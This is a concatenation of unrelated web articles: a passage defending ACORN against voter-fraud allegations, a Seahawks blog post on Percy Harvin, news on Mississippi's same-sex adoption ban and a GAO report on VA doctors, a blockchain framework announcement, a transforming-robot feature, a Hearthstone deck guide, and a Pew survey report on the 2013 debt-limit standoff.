anyone linked to ACORN actually trying to cast a fraudulent ballot. That fact is confirmed by both the Harshbarger report and a report compiled by the nonpartisan Congressional Research Service.  The distinction is an important one. As Wayne State University law professor and election expert Jocelyn Benson points out, fraudulent voter registration cards can be a time-consuming drain on the resources of the officials charged with verifying them. Falsifying those cards is a serious crime, she says, and those doing it should be prosecuted.  But workers falsifying cards as a way to help pad pay checks is a far different matter from actually trying to change the outcome of an election. That is something the Republican Party was accused of doing by investigative reporter Greg Palast and others following the 2000 presidential election, when Florida election officials allowed the names of thousands of voters — many of them African-American — to be wrongly removed from the rolls.  The way voting list have been purged in Michigan has also been an issue.  As Dreier and Martin pointed out in their analysis, "85.1 percent of the stories about ACORN's alleged involvement in voter fraud failed to note that ACORN was acting to stop incidents of registration problems by its (mostly temporary) employees when it became aware of these problems."  In fact, as Guzman points out, there is an obligation to turn over all filled-out cards, whether or not fraud is suspected. Guzman says it was ACORN's practice to flag cards with potential problems and then notify the clerks that there was concern about them.  The problem from the GOP's perspective is that the poor, young and minority people ACORN largely attempts to register tend to vote Democratic. Concentrating on crucial swing states, ACORN was able to register some hundreds of thousands of new voters during the 2006 and 2008 election cycles.  That was another story the mainstream media missed almost completely. Dreier reports: "98.5 percent of the stories about ACORN's alleged involvement in voter fraud failed to provide deeper context, especially efforts by Republican Party officials to use allegations of 'voter fraud' to dampen voting by low-income and minority Americans, including the firing of U.S. attorneys who refused to cooperating with the politicization of voter fraud accusations — firings that ultimately led to the resignation of U.S. Attorney General Alberto Gonzales."  In October 2008, according to published reports, the Department of Justice's Inspector General found that U.S. Attorney David Iglesias had been improperly fired because he had refused to pursue prosecutions against the ACORN and a prominent New Mexico Democrat before the 2006 mid-term elections.  In Aug. 2009, as Dreier and Martin also point out, the House Judiciary Committee "released over 5,000 pages of White House and Republican National Committee e-mails, along with transcripts of closed-door testimony by Karl Rove, former Bush senior advisor and deputy chief of staff, and Harriet Miers, former White House counsel. The documents revealed that Rove played a central role in the firing of David Iglesias, the U.S. Attorney in New Mexico, for failing to help Republican election prospects by prosecuting alleged instances of voter fraud by ACORN."  Nearly every major news organization reported on the release of the documents, the professors report. "... but none of them — including the Chicago Tribune, Los Angeles Times, New York Daily News, New York Times, Washington Post, and Wall Street Journal — mentioned that Rove was specifically focused on attacking ACORN for its voter registration efforts in New Mexico and other states, even though ACORN is mentioned frequently as a Republican target in investigative documents."  As Guzman says of the national voter registration effort: "There was never any criminal or malicious intent. Our focus was always on how we can give people a voice."  The attempts to demonize ACORN reached a crescendo in October 2008, when Republican candidate John McCain, in a televised debate with Obama (whom the right was attempting to closely link with ACORN) claimed, "We need to know the full extent of Senator Obama's relationship with ACORN, who is now on the verge of maybe perpetrating one of the greatest frauds in voter history in this country, maybe destroying the fabric of democracy."  It all begins to take on a sort of Alice in Wonderland quality. Having the White House direct a campaign of intimidation and prosecution against a group dedicated to helping poor people isn't worth mentioning. But the fact that some misguided temporary workers write down the names of cartoon characters such as Mickey Mouse on registration cards raises dire concerns that democracy itself is being threatened.  That same sort of trip through the looking glass can also be found in the response of Congress to the (thoroughly suspect) video escapade perpetrated by O'Keefe and Giles who — it's worth noting — likely violated the laws in at least two states when they made their hidden-camera recordings.  A CONSTITUTIONAL QUESTION  Within weeks of the pimp and prostitute video exploding on the scene, the so-called Defund Acorn Act of 2009 passed through Congress — with only 75 House Democrats and 7 Senate Democrats opposing it — and on Oct. 1 President Obama signed it into law. It was done despite warnings from the Congressional Research Service that in all likelihood the law would be judged unconstitutional if challenged.  The CRS indicated that language in the bill — specifically the portion that reads "None of the funds made available by this joint resolution or any prior Act may be provided to the Association of Community Organizations for Reform Now (ACORN) or any of its affiliates, subsidiaries, or allied organizations" — violated a clause in the U.S. Constitution that prohibits what is known as a bill of attainder. In laymen's terms, that means the government can't single out an individual or group for punishment without a trial.  ACORN, turning to the Center for Constitutional Rights for legal help, went to court in an attempt to have the law overturned. Two Detroit attorneys, Julie Hurwitz and Bill Goodman, played a key role in drafting the lawsuit. In early December, Nina Gershon, a federal judge in Brooklyn, N.Y., ruled in favor of ACORN, saying the legislation indeed violated the group's constitutional rights.  But, according to Hurwitz, despite the judge's ruling, federal funding to the group remains shut off, and the Obama Justice Department is fighting to keep it that way on two fronts. On the one hand, it is arguing that Gershon's ruling no longer applies because the language from the original bill has been inserted into a subsequent piece of legislation that Obama signed. At the same time, it is seeking to have Gershon reconsider her ruling.  "Right now, everything is on hold," says Hurwitz. "And every day that passes is one more nail in the coffin in terms of ACORN's ability to function as an organization."  Lawyers for the group are attempting to expedite the judicial process, but they're fighting a Justice Department that is "doing everything it can to slow things down."  The effect, says John Atlas, who has written the soon-to-be published book about ACORN, is a "disaster for poor people."  "This is clearly a cautionary tale about what the right-wing echo chamber is capable of doing to any progressive group in America that begins to threaten the power structure."  But it's not just the Fox talkers and the bloggers who amplify their rants. It is the GOP and the corporate right as well. It's also a mainstream press that fails to do its job.  And then there are the Democrats who count on the votes of poor people and people of color to get elected, as well as ACORN's supposed allies on the left.  "Both Democrats and the progressive community were largely silent during all this," says Atlas. "They just ran for the hills."  Dreier says the left is already suffering as a result. With ACORN effectively neutered for at least the time being, a crucial ally isn't able to effectively help rally the communities it serves to turn up the volume in support or the administration's attempts to reform health care and banking laws.  "There's real consequences of this that extend far beyond ACORN," Dreier says.  As for Carrie Guzman, she says there've been three or four people who have tracked her down and showed up at her house in recent days looking for the tax preparation help that ACORN is no longer around to provide.  Also lost is a planned effort to use ACORN to help with the census; the thinking was that people who live in hard-to-count neighborhoods would know where to look and be more likely to have otherwise reluctant doors open up to them.  She's the first to acknowledge that ACORN — like any large organization — had its share of problems. But the benefit gained from helping give marginalized communities a voice and sense of real power far outweighed any shortcomings.  "Now," she says, "the ACORN brand has certainly been damaged. How irreparably, I don't know. But it's certainly been damaged. And it's left a huge void. Right now, I don't see anyone else stepping up to take the lead."  In some ways, she says, it all seems so crazy. All these attacks on a group that has helping poor people and the disenfranchised as its goal. What, she asks, is there to be so afraid of? But she knows the answer to her own question.  "We did make political change. We did make economic change. And some people just didn't want to see that. I think that is the real reason we ran into so much trouble."  Curt Guyette isnews editor. Contact him at 313-202-804 or cguyette@metrotimes.com
-Percy Harvin makes plays. That alone does not make him especially unique or remarkable to the NFL though. What sets Harvin apart is he consistently makes plays. He doesn't exactly make playmaking look easy. Such feats of effortlessness are mostly reserved for freaks of nature like Calvin Johnson. Harvin has top tier athleticism but nothing otherworldly. Percy Harvin makes playmaking look... organic - like he was put on this planet to do so.  One might point to his competitiveness and physicality as the root of this feeling. Yet fellow Seahawk and undersized playmaker, Golden Tate, is similarly touted for his competitiveness and physicality and I get a dramatically different feeling from watching him play. To use fire as a metaphor, Tate's competitive fire burns bright. There are times when he gets going and just seems completely unstoppable. But the fire is erratic. There are other times when you could run your hand through the fire and not get burned.  Harvin's competitive fire burns more like an ember. It's steady, it's extremely hot, but it's not bright. If you put your hand on an ember, you're going to get burned, every single time. This is a rare quality for a wide receiver. Even for the best WRs, explosive plays are few and far between. It's really no wonder why great receivers are synonymous for being divas. Big play receivers marvel at their own playmaking ability right alongside the rest of us. Harvin has a certain, "another day at the office," demeanor about him that you don't often find from a dynamic playmaker.  One could look to a guy like Larry Fitzgerald as another big play receiver with a blue collar demeanor. Yet Harvin's competitiveness is palpable, where Fitzgerald competes with seemingly zero emotion. I would describe Fitz as a technician who has mastered his craft. This demeanor is not uncommon for a receiver and comes woefully short of defining Harvin's play style.  I've struggled with putting words to Percy Harvin's effect on the field since the very day that we traded for him. My epiphanous moment finally came through a completely unrelated medium...  A couple weekends ago I powered up the DVD player to watch an episode of HBO's award winning miniseries Band of Brothers, which chronicles the incredible story of Easy Company in World War II. Easy had just helped the Allies halt the German's desperate bid to march on Paris in the Battle of the Bulge, and were now ready to go on the offensive. The first step was to seize the strategically significant town of Foy.  Easy needed to quickly cross an open field before German artillery could zero in on their position. Unfortunately, under the incompetent leadership of Lieutenant Dyke, the attack stalled at the precise moment when it was imperative to be pressing forward. The former commanding officer of Easy Company, Captain Winters, was overseeing the assault and briefly considered taking over command himself. However the recently promoted captain was called back due to his now elevated rank. So instead he called upon, well, I'll let you see for yourself...  ------------------  Percy Harvin is the Lieutenant Ronald Speirs of the NFL.  Football is incredibly simple for Lieutenant Percy Harvin. There's nothing brilliant about what he does on the field. He simply does it more fearlessly and efficiently than anyone else. More than Harvin's tremendous talent, I think this is why Adrian Peterson, the "Player's Champ," said what he said when the Vikings sent Harvin to Seattle.  The best all around player I ever seen or you'll ever see! Goes to Seattle! I feel like I just got kicked in the stomach. Several times!!! — Adrian Peterson (@AdrianPeterson) March 11, 2013  Lieutenant Harvin exposes momentum for the illusion that it is. Every offense in the league suffers moments when they can't move the football. Maybe it's the feeling of a surging opposing offense, maybe it's stewing over a stupid turnover, maybe it's consecutive three-and-outs. Whatever it is, prior results seem to build on each other and affect future results. Momentum. There is zero logic behind this phenomena but it's still a credible theory because humans are not ruled by logic.  The quarterback position has arguably the greatest influence over a playing field in all of team sports. They're the field general who executes the attack. Thus, the league's elite quarterbacks have an ability to override the illusion of momentum and keep their team in the game. I believe that Percy Harvin is one of the few "troopers" in the NFL who similarly possesses this ability. He has the Ronald Speirs Effect on the field.  Lieutenant Percy Harvin changes the game on an emotional level which seems impossible for his position. Part of that is his talent, part of it is how many ways you can put the football in his hands. But mostly it's the ember of competitiveness he plays with and the relentless assault he brings against the defense.
-JACKSON -- Four lesbian couples are asking a federal judge to immediately stop Mississippi from enforcing a law that bans same-sex couples from adopting or taking children into foster care.  The request for a preliminary injunction was filed Friday in U.S. District Court in Jackson. The document said an injunction would only affect the four couples who are plaintiffs.  The couples and two gay-rights groups, the Campaign for Southern Equality and the Family Equality Council, filed suit Aug. 12 to challenge Mississippi's 2000 law that set the adoption ban.  It was not immediately clear how soon U.S. District Judge Daniel P. Jordan will consider the request filed Friday. A preliminary injunction would stop the state from enforcing a law while it is challenged in court. A judge can grant injunction if it appears that the people who filed a lawsuit would face irreparable harm by letting the law remain in place, and if they appear likely to win the suit based on their legal arguments.  The couples point out that Republican Gov. Phil Bryant said in his 2014 State of the State address that he wanted all children to be born into a "mature, two-parent family." They say allowing same-sex couples to adopt would help fulfill that goal.  Bryant, who is seeking re-election this year, has said many times that he opposes adoption by same-sex couples.  Mississippi is the last state to ban adoptions by same-sex couples. Lawmakers in Florida and Michigan reversed bans earlier this year, while courts in Louisiana and Nebraska struck down rules or laws in those states.  The court document filed Friday in Mississippi says plaintiffs Donna Phillips and Jan Smith, of Brandon, were married in 2013. The marriage took place out of state because Mississippi had banned same-sex marriage until a U.S. Supreme Court in late June wiped away such prohibitions nationwide.  Phillips and Smith have an 8-year-old daughter, but only Phillips is legally recognized as a parent of the girl, who is identified in Friday's court filing only by her initials, H.M.S.P. The document says Smith wants the same legal recognition through adoption.  "As Jan and Donna found out, the Mississippi Adoption Ban makes something as ordinarily simple as registering their child for public school an arduous process," the document says. "Because Jan is the legal owner of their home but is not recognized as H.M.S.P's legal parent, every year she is required to complete an agreement 'renting' her home to Donna and H.M.S.P. to prove that H.M.S.P. lives in the school district."  Plaintiffs also say the adoption ban interferes with the ability of both parents in a couple to fully participate in making education decisions and emergency medical decisions for their children.  Former Gov. Ronnie Musgrove, a Democrat, has said in recent years that he regrets signing the law that's now being challenged.
-Introducing the Blockchain Token Securities Law Framework  Reuben Bramanathan Blocked Unblock Follow Following Dec 12, 2016  We’re excited to announce the release of the Blockchain Token Securities Law Framework. We’ve also created a Framework Tool as a guide for developers and users of blockchain tokens.  As the development of blockchain tokens (also known as App Coins) continues to enable new decentralized business models, new legal issues come into focus. For developers, legal and regulatory uncertainty can be one of the main barriers to building new blockchain protocols and applications.  The Framework is a starting point for developers and companies entering the space. It can be used to analyze the likelihood that a particular blockchain token (e.g. any given App Coin) would be subject to US federal securities law. It also establishes a set of best practices for token crowdsales.  The Framework has been prepared in collaboration with Coin Center, Union Square Ventures and Consensys. It is open source and free to use.
-WASHINGTON – The Department of Veterans Affairs fails to report 90 percent of poor-performing doctors to national and state databases intended to alert other hospitals of misconduct, according to findings released Monday by the Government Accountability Office.  The government watchdog found VA officials were slow to investigate when concerns were raised about the performance of certain doctors. Further, in eight out of nine cases, the VA failed to report doctors who didn’t meet health care standards.  “Until [the Veterans Health Administration] strengthens its oversight of these processes, veterans may be at increased risk of receiving unsafe care through the VA health care system,” the GAO concluded.  The findings were based on reviews of 148 instances of complaints against VA medical providers at five hospitals from 2013 to 2017. The concerns ranged from unsafe or inconsistent practices to doctors incorrectly recording patient visits.  The VA failed to document about half of those cases, the GAO found. For 16 doctors, the VA waited multiple months or years to initiate reviews of complaints.  During that time, nine doctors were disciplined by the VA for possible professional incompetence or misconduct, or they resigned to avoid disciplinary action. But the VA didn’t report any of them to state licensing boards, and only one was reported to the National Practitioner Data Bank. Those databases are designed to inform other health care facilities about doctors’ past performance.  In one instance, a doctor who resigned from the VA while under investigation was not reported, and later hired to another, non-VA hospital in the same city. Two years later, that hospital disciplined the doctor for the same conduct that prompted the VA investigation, the GAO reported.  The GAO is recommending the VA improve oversight of how concerns raised about doctors are reviewed and documented. In response to the watchdog report, VA Deputy Chief of Staff Gina Farrisee wrote the agency agreed with the recommendations and would comply with them by October 2018.  “Without documentation and timely reviews of providers’ clinical care, [VA] officials may lack information needed to reasonably ensure that providers are competent to provide safe, high quality care to veterans,” the GAO report reads.  The U.S. Office of Special Counsel has recently received complaints from whistleblowers that seem to back up the GAO findings of VA leadership failing to address concerns about doctors, inspectors wrote.  A subcommittee of the House Committee on Veterans’ Affairs is planning to meet Wednesday morning to discuss the report publicly.  Read the full report here.  Wentling.nikki@stripes.com  Twitter: @nikkiwentling
-By: |  We’ve seen transforming robots before, and I’m not talking about anything related to Hasbro.  Researchers from MIT are among many engineers and tinkerers trying to design robots that perform different functions by changing their shape or appearance.  Japan-based Brave Robotics has designed a 1/12-scale RC car that can transform into a humanoid robot. It can shuffle around, grab footage with its Wi-Fi camera, and even fire little missiles from its arms.  But the intriguing part about the Transform Robot is its scope. Not only has Brave Robotics hobbyist Kenji Ishida put 10 years into building robots in disguise — he began in 2002 with a simple pair of legs and the Transform Robot is version 7.1 — he wants to build a full-scale transforming, drivable car with artificial intelligence by 2030.  Transformers fan gone wild? Perhaps.  Even though building a real Autobot seems highly unlikely due to the enormous power requirements, not to mention the sheer cost and AI hurdles, Ishida is an undaunted dreamer.  He showed off his RC transformer last weekend at Maker Faire Tokyo, which also witnessed the appearance of 13-foot mecha marvel Kuratas, inspired by a different sci-fi franchise.  The Transform Robot is partly made of 3D-printed components and runs on lithium-polymer batteries.  The car even has room for two seats in case your action figures want to hop a ride. Check it out in the vid below.  Ishida will make only 10 Transform Robots, custom painted and already programmed, each for $24,000. Yes, that’s the 1/12-scale version.  Well, how else is he supposed to fund Autobot development?  Check out more information here.
-Hi, there!  Nico Saraintaris here (you can watch me playing this and other decks on my twitch channel).  Description  Silence ramp is a fun deck to play I've created last season. You can climb ladder really fast. It's great against hunters and zoo (early board control and huge taunts), priests (lots of 4-attack minions), control warrior and other combo-based druid decks (you can set up lethal way earlier). Paladin can be hard because of Equality combo and mage is fine (you can play around secrets, so no Kezan Mystic needed).  Mulligan  Aggresive mulligan is key here. Go for Ironbeak Owl + Ancient Watcher combo, 3-mana cost minions and Innervate. Against warrior and hunter, Acidic Swamp Ooze is great (no need for Harrison Jones, you have the card draw you need. Besides, acidic mana cost is cheap and represents another body for the combo hiding behind those taunts). Against handlock, you should keep silence, Big Game Hunter and The Black Knight.  Have fun and tell us what you think!  Videos
-As Debt Limit Deadline Nears, Concern Ticks Up But Skepticism Persists  Despite Image Problems, GOP Holds Ground on Key Issues  Survey Report  With just two days to go before an Oct. 17 deadline to raise the nation’s debt limit, 51% of the public views a rise in the nation’s debt limit as “absolutely essential” in order to avoid an economic crisis, while 36% think the country can go past the deadline without major problems.  Public concern over breaching the debt limit deadline has risen only slightly from a week ago, when 47% said a rise in the debt limit was essential and 39% said it was not.  Those who see no dire economic consequences resulting from going past Thursday’s deadline are not only skeptical about the timing – most say there is no need to raise the debt limit at all. Nearly a quarter of all Americans (23%) – including 37% of Republicans and 52% of Tea Party Republicans – believe the debt limit does not need to be raised at all.  The new national survey by the Pew Research Center, conducted Oct. 9-13 among 1,504 adults, finds that 52% believe political leaders will resolve the debt limit issue before the deadline, while 44% think they will not. Democrats are more optimistic than Republicans that a solution will be found (58% vs. 47%).  Despite deep frustration with national conditions, the public’s views of Washington political leaders have shown only modest changes since before the government shutdown began. Approval ratings for President Obama (43% approve), Democratic congressional leaders (31%) and GOP leaders (20%) all are at or near all-time lows, yet are not substantially more negative than they were in early September, a month before the shutdown started.  Republicans continue to get more blame than the Obama administration for Washington’s fiscal policy stalemate, but the balance of opinion has not changed in the past week. In the new survey, 46% say Republicans are more to blame for the deadlock in Washington over the government shutdown and debt limit; 37% say the Obama administration is more to blame. A week ago, when the question asked just about responsibility for the government shutdown, the public said Republicans were more to blame, by 38% to 30%.  Over this period, the percentage of Americans who say they are very concerned about the economic impact of the government shutdown has risen, from 48% to 57%.  As the government shutdown drags on and the debt limit deadline approaches, 81% say they are dissatisfied with the way things are going in the United States, while just 14% are satisfied. The percentage saying they are satisfied with the state of the nation has fallen 13 points since July and is now at its lowest level since the financial crisis in late 2008.  The grim public mood is reflected in the record share of voters who want most members of Congress defeated in next year’s midterm elections. Nearly three-quarters (74%) of registered voters would like to see most members of Congress defeated; during the 2010 and 2006 election cycles, which both culminated in shifts in control of the House, no more than 57% in each of these two cycles wanted most members of Congress not to be reelected.  Moreover, the share saying they do not want their own representative reelected – 38% – is as high as it has been in two decades. At this stage in the 2010 and 2006 midterms, fewer wanted to see their own member of Congress defeated (29% in November 2009, 25% in September 2005).  An early read of voter preferences for the 2014 midterm shows that the Democrats have a six-point edge: 49% of registered voters say they would vote for or lean toward voting for the Democratic candidate in their district, while 43% support or lean toward the Republican candidate.  In November 2009, a year before the Republicans won a House majority, Democrats held a five-point edge (47% to 42%). In September 2005, 14 months before the Democrats won a House majority for the first time in more than a decade, Democrats held a 12- point lead (52% to 40%).  The Democratic Party continues to be viewed more favorably than the Republican Party: 47% of adults have a favorable opinion of the Democratic Party while 38% view the GOP favorably. As in the past, the public by wide margins views the GOP as more extreme in its positions than the Democratic Party (55% to 34%) and less willing to work with its political opponents (32% say the Republican Party, 50% the Democrats).  However, as many say the Republican Party (42%) as the Democratic Party (39%) can better manage the federal government. And by 44% to 37%, slightly more say the GOP is better able to handle the nation’s economy.  Debt Ceiling Deadline Debated  Americans are divided deeply along partisan and ideological lines in opinions about the necessity to raise the debt limit. Two-thirds (67%) of Democrats say that raising the debt limit by Oct. 17 is absolutely essential to avoid an economic crisis. This includes 71% of liberal Democrats and 66% of conservative and moderate Democrats.  By contrast, Republican views tilt in the opposite direction, with about half (52%) saying the country can go past this deadline without major economic problems. This includes a 56% majority of conservative Republicans, while moderate and liberal Republicans are divided. Opinions among both Republicans and Democrats have shown little change over the past week.  A sizable share of conservative Republicans say it is not just a matter of when the debt limit should be increased, but whether it should be raised at all. Overall, 43% of conservative Republicans believe the U.S. can not only go past the deadline, but also say that raising the debt ceiling is not needed at all. Roughly half (52%) of Republicans and Republican-leaning independents who agree with the Tea Party say it is not necessary, now or ever, to raise the debt ceiling.  Will Debt Limit Issue Be Resolved Before Deadline?  Overall, 52% think Obama and Republicans will resolve the debt limit issue before the deadline, while 44% do not think they will reach an agreement in time.  College graduates and those in households with higher family incomes are optimistic about an agreement; about six-in-ten expect a resolution before the deadline. Fewer of those with lower family incomes and less education express optimism about a resolution.  Young people under the age of 30 are not confident Obama and Republicans will reach an agreement before the debt limit deadline: 60% do not expect an agreement before the deadline, just 36% do. Half or more in older age groups expect a resolution.  By a 58%-36% margin, most Democrats think the debt limit issue will be resolved before the deadline. Republicans are divided: 47% think the issue will be resolved in time, 49% think it will not be resolved. Moderate and liberal Republicans are much more skeptical than conservative Republicans about the prospects of a debt limit agreement before the deadline (61% and 43%, respectively, say it will not be resolved).  More Worry about Shutdown’s Economic Impact  A 57% majority of Americans say they are now very concerned about the government shutdown’s effect on the U.S. economy, up from 48% a week ago. The increase in concern crosses most demographic and political groups, though it is particularly notable among middle-income Americans. Last week, just 43% of people in households earning between $30,000 and $75,000 annually said they were very concerned about the shutdown’s economic impact. That has risen 15 points to 58% today. Nearly two-thirds (64%) of those earning less than $30,000 are very concerned about the shutdown’s impact, compared with 50% of those earning $70,000 or more.  Concern about the shutdown’s effects has risen across party lines, though there remains a substantial partisan divide. Fully 72% of Democrats say they are very concerned about the economic impact of the shutdown, up from 59% last week. Among Republicans, 50% are very concerned today, up from 39% a week ago.  As was the case last week, Tea Party Republicans are the least concerned segment of the public: just 30% of Republicans and Republican leaners who agree with the Tea Party say they are very concerned about the shutdown’s effect on the economy, 33% say they are somewhat concerned, and 37% say they are not too or not at all concerned.  Leadership Job Approval Little Changed  Since the start of the government shutdown, there has been little change in overall job approval ratings for political leaders in Washington, largely because public frustrations preceded these events. Barack Obama’s job rating is, on balance, negative – 43% approve while 51% disapprove. This marks the first time in Obama’s presidency that the share offering a negative job rating has edged above the 50% mark. But the balance of opinion is not substantially different from his job rating a month ago (44% approved, 49% disapproved) or in the wake of the 2011 debt ceiling debate (43%, 49% in August 2011).  Just 20% approve of how Republican leaders in Congress are handling their jobs, while a record-high 72% disapprove. Yet, the change from a month ago, when 24% approved and 68% disapproved is modest, and current ratings are not far from where they have been for much of the past year.  In Obama’s case, only Republicans rate his job performance lower today than a month ago. In fact, just 6% of Republicans approve of Obama’s job performance, the lowest rating from Republicans for his presidency (the previous low was 9% in August 2011). Just 38% of independents approve of the president’s job, while 55% disapprove. This is among the lowest ratings independents have given Obama over the course of his presidency, but is largely unchanged from a month ago.  With just a 20% approval rating, Republican leaders in Congress trail not only the president but also their Democratic counterparts (31% approve). This difference is driven mainly by the relatively high levels of criticism from Republicans themselves. Just 42% of Republicans approve of how GOP leaders in Congress are doing their jobs. By comparison, among Democrats, 60% approve of Democratic congressional leaders, and 79% approve of the president’s job performance.  Views of the Parties: Traits and Issues  While Republicans take more blame for the shutdown than Democrats, there is little sign that the GOP has hurt its position relative to Democrats on a range of traits and issues.  Overall, 42% view the Republican Party as better able to manage the federal government, while about as many (39%) say the Democratic Party is better described this way. In December 2012, the Democratic Party held a 45%-36% advantage over the GOP as the party seen as better able to manage the government.  The Democratic Party continues to be seen as more willing to work with the opposing party than Republicans (50%-32%), and far more say the GOP is more extreme in its positions than the Democratic Party (55%-34%). However, on both of these measures, the Republican Party’s standing is not significantly different than it was in December of 2012.  There is a divide within the GOP when it comes to which party is more extreme in its positions. Overall, 61% of Republicans say the Democratic Party is more extreme in its positions, 30% say the GOP is more extreme. However, among moderate and liberal Republicans, 54% call their own party more extreme in its positions, just 39% say the Democratic Party takes more extreme positions. By contrast, conservative Republicans view the Democratic Party as more extreme by a 72%-19% margin.  When it comes to the key issue of dealing with the economy, slightly more say the Republican Party (44%) than the Democratic Party (37%) could do the better job. Independents favor the GOP on the economy by a 46%-30% margin.  The public is divided over which party can better handle immigration: 40% say the Republican Party could do the better job dealing with immigration, 39% say the Democratic Party.  Early Look at 2014 Midterm  More than a year ahead of the 2014 midterm congressional elections, Democrats hold a slim edge over Republicans. Overall, 49% of registered voters say that if the elections for Congress were being held today, they would vote for the Democratic Party’s candidate in their district, 43% say they would vote for the Republican candidate. Four years ago, in November of 2009, there was roughly the same balance of opinion a year ahead of the 2010 congressional elections (47% said they planned to vote for the Democratic candidate, 42% the Republican candidate).  On the 2014 generic ballot, the parties run well among their traditional bases of support. There is higher support for Democratic candidates among blacks, women and younger Americans.  Republicans run relatively well among white voters, older voters and those with family incomes of $75,000 a year or more.  At this early stage, independent voters are evenly divided: 43% say that if the elections for Congress were being held today, they would vote for the Republican candidate in their district, 43% say they would vote for the Democratic candidate.  Large Majority Wants Most Congressional Incumbents Out  Americans express clear frustration with congressional incumbents. A record-high 74% of registered voters now say that most members of Congress should not be reelected in 2014 (just 18% say they should). By comparison, at similar points in both the 2010 and 2006 midterm cycles only about half of registered voters wanted to see most representatives replaced.  Historically, voters have been more positive about reelecting their own members of Congress than members as a whole, and that remains the case today. Even so, just 48% of voters say their own member of Congress should be reelected, while 38% say he or she should be replaced. That is as negative a balance on this question as at any point in the last two decades.  A year ahead of the 2010 midterm – an election in which 58 incumbents went on to lose reelection bids, the most in more than a half-century – 29% wanted their own representative to be defeated; 38% say that today.  Democratic voters are slightly more likely than Republicans to say that their own representative should be reelected: 47% of Republican voters and 54% of Democratic voters favor their own representative’s reelection, as do 43% of independent voters.  By contrast, in 2009, when Democrats controlled both houses of Congress as well as the presidency, fully 64% of Democratic voters wanted to see their member of Congress reelected, compared with 50% of Republican voters. In 2006, when Republicans held the Senate, the House and the White House, 70% of GOP voters wanted to see their member remain in office, while just 53% of Democrats did.  Party Favorability Largely Unchanged Over the Past Year  In the midst of the shutdown and ongoing partisan battle over the budget and debt limit, views of the political parties are notable more for their stability than for any substantial change. In fact, overall public ratings of the political parties have moved very little over the course of the year.  Currently, just 38% of Americans have a favorable view of the Republican Party while 58% have an unfavorable opinion. The percentage rating the GOP unfavorably is unchanged from July (58%) and remains among the highest on record. Favorable ratings of the GOP are up slightly from a low of 33% in July, and are roughly on par with previous surveys back to 2011.  The Democratic Party continues to receive better ratings than the GOP, with about as many offering a favorable (47%) as an unfavorable (48%) opinion. Democratic Party favorability had also fallen to a low of 41% in July, and has returned to a roughly even divide that is consistent with polling over the past few years.  Overall views of the parties have also been relatively level across party lines. A good part of the Democratic Party’s overall favorability edge over the GOP is because it consistently receives more positive ratings from its own political base. Currently 86% of Democrats offer a favorable assessment of the Democratic Party, compared with 77% of Republicans – a gap that has been relatively consistent over the past year.  But Democrats have also re-opened a favorability advantage among independents, 41% of whom now offer a favorable assessment of the Democratic Party, compared with 33% who view the GOP favorably. Polling over the summer found independents offering equally low favorability ratings to both political parties.  Boehner, McConnell, Reid, Pelosi All Viewed Unfavorably  Amid deadlock in Washington, public views of both parties’ congressional leaders are more negative than positive, while views of the president are now divided.  Currently, 27% of the public holds a favorable opinion of John Boehner. While that is unchanged from January, the portion with an unfavorable view of the House speaker has increased ten points to 50% since the beginning of the year (the share offering no opinion has declined proportionately). The increase in negative views comes from Democrats (a 17-point increase) and independents (a 10-point increase); Republican views are unchanged: 46% of Republicans offer a favorable assessment of the Speaker, while 30% offer an unfavorable assessment, almost identical to the GOP ratings of Boehner in January.  A similar pattern holds for Boehner’s Senate counterpart; as Mitch McConnell has become more visible, his negatives have increased more than his positives. Overall, more now view McConnell unfavorably than favorably by a 37% to 23% margin. In January, that margin was 28% unfavorable, 21% favorable. The change in unfavorable views stems largely from growing negative feelings among Democrats (unfavorable rating up 11 points) and independents (up 13 points). Yet McConnell does not even rank well within his own political party. As many Republicans view McConnell unfavorably (30%) as favorably (31%). At the start of the year, GOP views of McConnell were similarly split (25% favorable, 25% unfavorable.)  For Harry Reid, the story is somewhat different: he is far more well known today than in January, with more viewing him both favorably (27% up from 21% in January) and unfavorably (39% up from 34%). Not surprisingly, Republican views have grown increasingly negative: 58% now view Reid unfavorably up from 48%. But Democratic views of Reid have improved even more steeply. In January, the Senate Majority Leader received a paltry 29% favorable, 20% unfavorable rating from his own party. Today, 47% of Democrats view Reid favorably while just 18% view him unfavorably.  Though Nancy Pelosi has played a less public role in the current budget debates, her overall visibility remains far higher than the other congressional leaders, and views of her are even more steeply polarized. Republicans view Pelosi unfavorably by a 75% to 13% margin, while Democrats view her favorably by a 61% to 22% margin.  While Barack Obama continues to be viewed more favorably than either party’s congressional leaders, he receives the lowest favorability rating of his presidency today: 47% favorable, 50% unfavorable. The decline in Obama’s favorability since January – down from 59% – parallels the decline in his job approval over this period from 52% to 43%. Independents’ favorable ratings of Obama have declined from 55% favorable in January to only 42% today; 54% of independents currently have an unfavorable view of the president.  Broad Public Dissatisfaction  Today, just 14% of Americans say they are generally satisfied with the way things are going in the country today, while about eight-in-ten (81%) say they are dissatisfied. This assessment rivals some of the most negative in Pew Research Center surveys dating back to 1990.  The last time evaluations of the state of the nation were this negative was during the 2011 debt-ceiling showdown; in July 2011, before a last-minute agreement to raise the debt limit, just 17% were satisfied, while 79% were dissatisfied. The only time in recent history when public satisfaction has dipped below current levels was in October 2008, during the depths of the financial crisis, when only 11% said they were satisfied with the state of the nation.  While dissatisfaction is widespread across nearly all partisan and demographic groups, Democrats are somewhat more likely than Republicans and independents to have a positive view of national conditions: Just 8% of Republicans and 10% of independents are satisfied, compared with 23% of Democrats.  Economic Views Turn More Negative  After showing some signs of improvement in the summer, ratings of the national economy have once again turned more negative. Nearly half of Americans (48%) currently rate economic conditions as poor, up from 32% in September and a recent low of 29% in June. And just 13% now say the economy is in excellent or good condition, down from 19% last month and 23% in June.  While current economic ratings have worsened from a month ago, there is little change in the public’s economic outlook. Americans are about as likely to say conditions a year from now will be worse (28%) as to say they will be better (25%), with another 44% saying conditions will be the same. This outlook is little changed from September, but more negative than in June, when more thought conditions would improve than worsen by a 33% to 19% margin.  In general, the public is less optimistic about the future of the economy than it had been throughout much of the recession and post-recession period, when Americans were consistently more likely to say economic conditions would improve than to say they would worsen. As recently as September 2012, 43% felt the economy was on track to improve over the coming year, while just 8% thought it would worsen.
